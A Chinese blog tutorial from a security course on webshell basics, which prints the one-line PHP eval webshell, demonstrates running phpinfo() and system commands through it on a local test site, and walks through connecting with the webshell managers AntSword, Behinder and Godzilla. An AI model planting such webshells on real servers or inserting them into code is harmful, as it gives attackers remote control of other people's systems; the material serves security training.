入门web28---webshell基础

一、Webshell分析

1. Webshell基础

(1) 简介

Webshell是一种恶意脚本,通常被攻击者用来在受害者的网络服务器上获取不正当的访问权限。Webshell可以用多种编程语言编写,例如PHP、ASP、JSP。攻击者通过利用服务器上的漏洞(如文件上传漏洞、注入漏洞等)将webshell上传到目标服务器。一旦webshell被成功部署,攻击者就可以通过它执行各种恶意操作,如文件管理、命令执行、数据库操作等。

(2) 功能

  1. 文件管理:上传、下载、删除、修改文件和目录。
  2. 命令执行:执行服务器上的系统命令。
  3. 数据库管理:连接并操作数据库。
  4. 信息收集:获取系统信息、网络配置、用户信息等。
  5. 后门持久性:在系统中留下后门,以便将来继续访问。

(3) 类型

  1. 根据编程语言可以分为php木马、asp木马,也有基于.NET的aspx木马和基于Java的jsp木马。
  2. 根据文件内容大小,也可以分为大马、小马、一句话木马。
  3. 根据实现的功能,也有一些打包马、拖库马、内存马等。

(4) 原理

<?php @eval($_GET['cmd']); ?>
A. 代码解释
:这是PHP的代码块,表示其中的内容将被PHP解释器执行。

@:这是PHP中的错误抑制符,抑制任何可能出现的错误信息。这样即使代码执行过程中出现错误,也不会显示在页面上,增加了攻击的隐蔽性。

eval():这是PHP中的一个危险函数,用来将字符串作为PHP代码执行。在这个例子中,eval执行

传递给它的代码。

$_GET['cmd']:这是PHP的超级全局变量,用于获取通过HTTP GET请求传递的参数。在这里,它获取名为cmd的参数。

B. 工作原理
  1. 接收输入:当用户通过URL访问包含该代码的PHP页面时,可以在URL中传递一个cmd参数,例如:

http://example.com/shell.php?cmd=phpinfo();

  1. 执行命令:PHP解释器接收到请求后,$_GET['cmd']会获取到phpinfo();字符串,然后

eval($_GET['cmd']);会执行该字符串中的PHP代码。

  1. 返回结果:执行结果将显示在页面上,攻击者可以通过浏览器直接看到PHP代码的输出。
演示一句话木马效果

打开本地网站根目录,创建一个本地文件(例yanxiao.php)

D:\YHHWANGLUOANQ\yhhbachang\2018\PHPTutorial\WWW

img

将一句话木马放进去

<?php @eval($_GET['cmd']); ?>

img

出现空白,表示正常

运用参数访问phpinfo()

http://127.0.0.1/yanxiao.php?cmd=phpinfo();

img

ok了,get会用了,换post方法

直接将一句话木马中的get换成post(需要从本地根目录改)

img

img

好,现在理解一点了吧

现在直接通过php文件访问phpinfo(),不需要用参数访问

<?php phpinfo(); ?>

直接创建phpinfo1.php,放入上面一句话木马

img

(5) 使用

1.WebShell实际上与平常的网站文件一样,可以通过浏览器去进行访问

  1. 通过Webshell控制服务器。关键点在于传递的参数,通过cmd参数向服务器传递

system('ipconfig');。

  1. 效果等同于在命令提示符下执行ipconfig命令。

img

img

小细节1:如何用BP将get请求换为post请求

不能自己将POST改GET

img

右键改变请求方式change request method

img

小细节2:请求头与请求数据中间有一段空行

img

扩展:sql注入 into outfile

2. WebShell连接工具使用

攻击者在入侵网站时,通常要通过各种方式写入WebShell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。为了方便对这些WebShell进行管理,就诞生了各种各样的WebShell管理工具。

(1) 中国蚁剑

中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作

的网站管理员。

A. 下载

蚁剑分为加载器和核心模块两部分:

  1. 加载器下载地址:https://gitee.com/yijingsec/AntSword-Loader
  2. 核心模块下载地址:https://gitee.com/yijingsec/antSword
B. 安装
  1. 将下载的加载器及核心模块解压,然后启动加载器里的AntSword.exe文件。
  2. 启动后选择核心模块文件夹进行初始化
D:\..景蚁网安课件\28-webshell分析\蚁剑核心模块

img

  1. 初始化完成后重新启动AntSword.exe即可使用中国蚁剑。img
C. 使用
注意:蚁剑不能连接GET请求
  1. 在空白处点击鼠标右键,选择添加数据,URL地址为Webshell的url地址,连接密码为一句话木马里

用于传参的参数名,填写完毕后点击添加即可。img

img

url代表webshell的url
连接密码是请求参数(例如POST['cmd'],cmd是请求参数)
编码器选择除不推荐外的
连接成功样例

img

连接失败样例

img

注意:一定不要忘记点击添加,要不然就没有

img

  1. 添加完成后选中添加的数据点击鼠标右键即可选择要做的操作。

img

虚拟终端

img

文件管理

img

数据操作

img

(2) 冰蝎

冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java

和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情

况动态选择,使得冰蝎更强大。

A. 下载

项目地址:https://gitee.com/yijingsec/Behinder

B. 安装

冰蝎客户端使用java开发,因此运行前需要有java环境,然后双击Behinder.jar即可运行。

C. 使用

冰蝎的WebShell只能使用冰蝎客户端进行连接,密码默认为:rebeyond。

  1. 在空白处点击鼠标右键选择新增,url为Webshell的url,连接密码为冰蝎的默认密码,然后保存即

可。

img

选中右键打开即可

img

  1. 选中所添加的Webshell然后双击即可对其进行管理
配置错误

点击之后回出现

img

找到java目录,将jdk下的lib下的tool.jar复制到jdk的jre目录下的lib文件中就OK了

C:\Program Files\Java\jdk-1.8\lib

img

C:\Program Files\Java\jdk-1.8\jre\lib

img

终端打开冰蝎

ok,还打不开,那我就用终端打开

来到冰蝎目录下打开终端

D:..景蚁网安课件\28-webshell分析\冰蝎\03-Behinder_v4.1.t00ls

 java -jar Behinder.jar

img

成功打开

(3) 哥斯拉

护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款

优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友

甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥

斯拉”。

A. 下载

项目地址:https://gitee.com/yijingsec/Godzilla

B. 安装

哥斯拉使用Java开发,因此需要有Java环境才能运行,双击godzilla.jar运行软件。

img

C. 使用
  1. 点击目标选择添加,URL填写Webshell的地址,密码填写用于传参的参数名,有效载荷根据

Webshell类型进行选择,其他可不填写。

  1. 添加成功后选中鼠标右键选中进入

生成的php文件需要弄到本地根目录

img

然后添加img

img

右键进入

img

img

img

posted @   yan_xiao  阅读(428)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 上周热点回顾(2.24-3.2)
点击右上角即可分享
微信分享提示